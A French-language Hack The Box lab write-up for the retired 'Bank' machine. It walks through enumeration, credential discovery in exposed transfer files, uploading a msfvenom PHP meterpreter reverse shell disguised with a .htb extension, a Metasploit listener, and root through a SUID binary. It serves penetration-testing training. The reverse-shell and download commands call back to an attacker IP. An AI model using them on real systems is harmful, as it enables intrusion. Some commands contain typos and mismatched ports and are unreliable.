Article original : Keep Calm and Hack The Box - Bank
Hack The Box (HTB) est une plateforme en ligne vous permettant de tester vos compétences en tests d'intrusion. Elle contient plusieurs défis qui sont constamment mis à jour. Certains d'entre eux simulent des scénarios réels et d'autres s'orientent plus vers un style de défi CTF.
Note. Seuls les write-ups des machines HTB retirées sont autorisés.

Bank est une machine relativement simple, cependant une énumération web appropriée est essentielle pour trouver les données nécessaires à l'entrée.
Nous utiliserons les outils suivants pour pirater la box sur une Kali Linux box :
- nmap
- gobuster
- Searchsploit
- msfconsole
- metasploit
- meterperter
- LinEnum
Commençons.
Étape 1 - Reconnaissance
La première étape avant d'exploiter une machine est de faire un peu de scanning et de reconnaissance.
C'est l'une des parties les plus importantes car elle déterminera ce que vous pouvez essayer d'exploiter par la suite. Il est toujours préférable de passer plus de temps sur cette phase pour obtenir autant d'informations que possible.
Scan des ports
J'utiliserai Nmap (Network Mapper). Nmap est un utilitaire gratuit et open source pour la découverte de réseau et l'audit de sécurité. Il utilise des paquets IP bruts pour déterminer quels hôtes sont disponibles sur le réseau, quels services ces hôtes offrent, quels systèmes d'exploitation ils exécutent, quel type de filtres de paquets/pare-feu sont utilisés, et des dizaines d'autres caractéristiques.
Il existe de nombreuses commandes que vous pouvez utiliser avec cet outil pour scanner le réseau. Si vous souhaitez en savoir plus, vous pouvez consulter la documentation ici.

J'utilise la commande suivante pour effectuer un scan intensif :
nmap -A -v bank.htb
-A : Active la détection du système d'exploitation, la détection de version, le scan de scripts et le traceroute
-v : Augmente le niveau de verbosité
bank.htb : nom d'hôte pour la box Bank
Si vous trouvez les résultats un peu trop écrasants, vous pouvez faire une autre commande pour obtenir uniquement les ports ouverts.
nmap bank.htb

Nous pouvons voir qu'il y a 3 ports ouverts :
Port 22, Secure Shell (SSH), connexions sécurisées, transferts de fichiers (scp, sftp) et redirection de port
Port 53, Domain Name System (DNS)
Port 80, le plus souvent utilisé par le protocole Hypertext Transfer Protocol (HTTP)
Scan des répertoires
J'utilise Gobuster. Gobuster est un scanner de répertoires écrit en Go. Plus d'informations sur l'outil ici. Gobuster utilise des listes de mots sur Kali qui se trouvent dans le répertoire /usr/share/wordlists. J'utilise des listes de mots de dirb et dirbuster, mais vous pouvez télécharger plus de listes de mots depuis SecLists ici
J'utilise cette commande pour la liste de mots common.txt de dirb
gobuster dir -u bank.htb -w /usr/share/wordlists/dirb/common.txt

Je peux voir quelques dossiers intéressants. Je fais un autre scan de répertoire avec une liste de mots différente.
gobuster dir -u bank.htb -w /usr/share/worldlists/dirbuster/directory-list-lowercase-2.3-medium.txt

Étape 2 - Visite de la page web
À partir de la phase de reconnaissance, je décide de commencer par le port 80. Il pointe vers une page par défaut Apache2 Ubuntu. Nous devons définir le nom d'hôte. Nous suivrons la convention standard pour les machines HTB, bank.htb

J'ajoute bank dans le fichier /etc/hosts
nano /etc/hosts
avec
10.10.10.29 bank.htb

Je vérifie le fichier avec
cat /etc/hosts

Lorsque je navigue vers bank.htb, je peux voir une page de connexion maintenant

À partir de la reconnaissance gobuster, j'ai trouvé quelques dossiers. Je navigue vers /balance-transfer

Je regarde quelques fichiers. Tous les fichiers semblent avoir le nom complet, l'email et le mot de passe chiffrés.

Je retourne à la page principale et je clique sur l'onglet Size pour trier les transferts. Je peux voir qu'un des fichiers est différent

Lorsque je clique sur le fichier, je vois un message d'erreur en haut. Le chiffrement a échoué pour ce fichier. Je peux voir tous les détails en texte clair

Je retourne au panneau de connexion et entre les identifiants. J'ai maintenant accès au tableau de bord de la HTB Bank. Rien d'intéressant sur cette page, alors je passe à la page Support

Sur la page Support, je peux télécharger des fichiers. Je vais essayer de télécharger une charge utile

Étape 3 - Utilisation de MSFvenom pour créer un exploit
Nous utiliserons MSFvenom, qui est un générateur de charge utile. Vous pouvez en savoir plus à ce sujet ici

Mais d'abord, voyons sur Metasploit Framework quelle charge utile nous pourrions utiliser pour créer notre exploit
Nous savons que nous devons créer un reverse shell, qui est un type de shell dans lequel la machine cible communique avec la machine attaquante. La machine attaquante a un port d'écoute sur lequel elle reçoit la connexion, ce qui permet d'exécuter du code ou des commandes.
https://resources.infosecinstitute.com/icmp-reverse-shell/
Le reverse TCP shell devrait être pour PHP et nous utiliserons Meterpreter
D'après le site web d'Offensive Security, nous obtenons cette définition pour Meterpreter
Meterpreter est une charge utile avancée, dynamiquement extensible qui utilise des injecteurs de DLL in-memory et est étendue sur le réseau au moment de l'exécution. Il communique via la socket de l'injecteur et fournit une API Ruby complète côté client. Il dispose d'un historique des commandes, d'une complétion par tabulation, de canaux, et plus encore.
Vous pouvez lire plus sur Meterpreter ici

Je lance Metasploit et recherche des charges utiles reverse TCP. J'utilise la commande suivante
search php meterpreter reverse_tcp
Je trouve une charge utile intéressante, numéro 594, qui est un Reverse TCP Stager. Cette charge utile injecte la DLL du serveur meterpreter via la charge utile Reflective Dll Injection et se connecte à l'attaquant
payload/php/meterpreter/reverse_tcp
Maintenant, retournons à msfvenom pour créer notre exploit

J'utilise la commande suivante
msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.14.36 lport=443 -f raw > HTBbankshell.php
Je vérifie ensuite avec ls si le fichier a été créé

et je regarde le contenu du fichier avec
cat HTBbankshell.php

Je retourne à la page de support. J'ajoute le titre, le message et télécharge le fichier sur le formulaire

Je clique sur le bouton de soumission et je vois un message d'erreur. Le type de fichier ne semble pas fonctionner

Je vérifie le code source et je vois un commentaire qui indique que l'extension de fichier .htb est nécessaire pour exécuter php à des fins de débogage uniquement

Je change ensuite l'extension de ma charge utile de HTBbankshell.php à HTBbankshell.htb

Mon fichier est maintenant prêt à être téléchargé sur la page de support

Et cela semble fonctionner ! La charge utile a été téléchargée sur la page de support

Étape 4 - Configuration d'un écouteur avec Metasploit
De retour sur Metasploit où j'utilise la commande suivante pour définir le gestionnaire de charge utile
use exploit/multi/handler
Je configure d'abord la charge utile
set payload php/meterpreter/reverse_tcp
Ensuite le LHOST
set lhost 10.10.14.36
Et enfin le LPORT
set lport 4444
Si nous vérifions les options maintenant, nous devrions voir que tout est configuré

Lançons l'exploit.
Après l'apparition de ce message
Started reverse TCP handler on 10.10.14.36:4444
retournez au navigateur et actualisez la page où le script malveillant est hébergé
bank.htb/uploads/HTBbankshell.php

Vous devriez alors voir une session Meterpreter créée

Je commence par recueillir quelques informations avec getuid qui retourne l'ID utilisateur réel du processus appelant et sysinfo

Étape 5 - Recherche du flag user.txt
Je commence à naviguer vers root et liste les dossiers/fichiers.

Je me déplace vers le répertoire home avec
cd home
Et je peux voir un utilisateur appelé chris

Je me déplace vers le répertoire chris et lorsque je liste les fichiers...

Je trouve le fichier user.txt ! Pour lire le contenu du fichier, j'utilise la commande
cat user.txt
Maintenant que nous avons le flag utilisateur, trouvons le flag root !
Étape 6 - Élévation de privilèges
J'essaie de naviguer vers le dossier root et l'accès est refusé

J'utiliserai LinEnum pour énumérer plus d'informations sur cette machine. LinEnum est utilisé pour l'énumération locale scriptée de Linux et les vérifications d'élévation de privilèges. Plus d'informations ici
Je récupère LinEnum depuis GitHub avec
wget https://https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh

Je vérifie avec cette commande si le script a été correctement récupéré
ls -la

J'utilise la commande suivante
chmod 777 LinEnum.sh
pour changer les permissions du fichier et le rendre lisible, inscriptible et exécutable par tout le monde

Dans meterpreter, je vérifie l'emplacement du fichier avec
lls -S "LinEnum.sh"

Je lance un serveur php sur un autre terminal avec
php -S 10.10.14.36:4444

Je tape la commande suivante pour obtenir un shell standard sur le système cible
shell
Je génère un shell TTY avec
python3 -c 'import pty;pty.spawn("/bin/bash/")'
Et je transfère le fichier vers la machine avec
wget http://10.10.14.36:4444/LinEnum.sh -O /tmp/LinEnum.sh
où je copie le fichier depuis ma boîte Kali vers le dossier temp de la machine

Je navigue ensuite vers le dossier temp pour vérifier si le fichier a été correctement déplacé

J'exécute ensuite le script avec
sh ./LinEnum.sh

Le scan me donne beaucoup d'informations. Je cherche la section fichiers intéressants. Je vérifie la section fichiers SUID. SUID est défini comme donnant des permissions temporaires à un utilisateur pour exécuter un programme/fichier avec les permissions du propriétaire du fichier plutôt que de l'utilisateur qui l'exécute
Je repère un fichier intéressant
/var/htb/bin/emergency

Je navigue vers var/htb/emergency

Je l'exécute avec
./emergency
et on me demande si je veux obtenir un shell root :)

J'ai un accès root à la machine

Je peux maintenant naviguer vers le dossier root

Je trouve le fichier root.txt !
Pour lire le contenu du fichier, j'utilise la commande
cat root.txt
Félicitations ! Vous avez trouvé les deux flags !
N'hésitez pas à commenter, poser des questions ou partager avec vos amis :)
Vous pouvez voir plus de mes articles ici
Vous pouvez me suivre sur Twitter ou sur LinkedIn
Et n'oubliez pas de #GetSecure, #BeSecure & #StaySecure !
Autres articles Hack The Box
- Restez calme et piratez The Box - Lame
- Restez calme et piratez The Box - Legacy
- Restez calme et piratez The Box - Devel
- Restez calme et piratez The Box - Beep
- Restez calme et piratez The Box - Optimum
- Restez calme et piratez The Box - Arctic
- Restez calme et piratez The Box - Grandpa
- Restez calme et piratez The Box - Granny
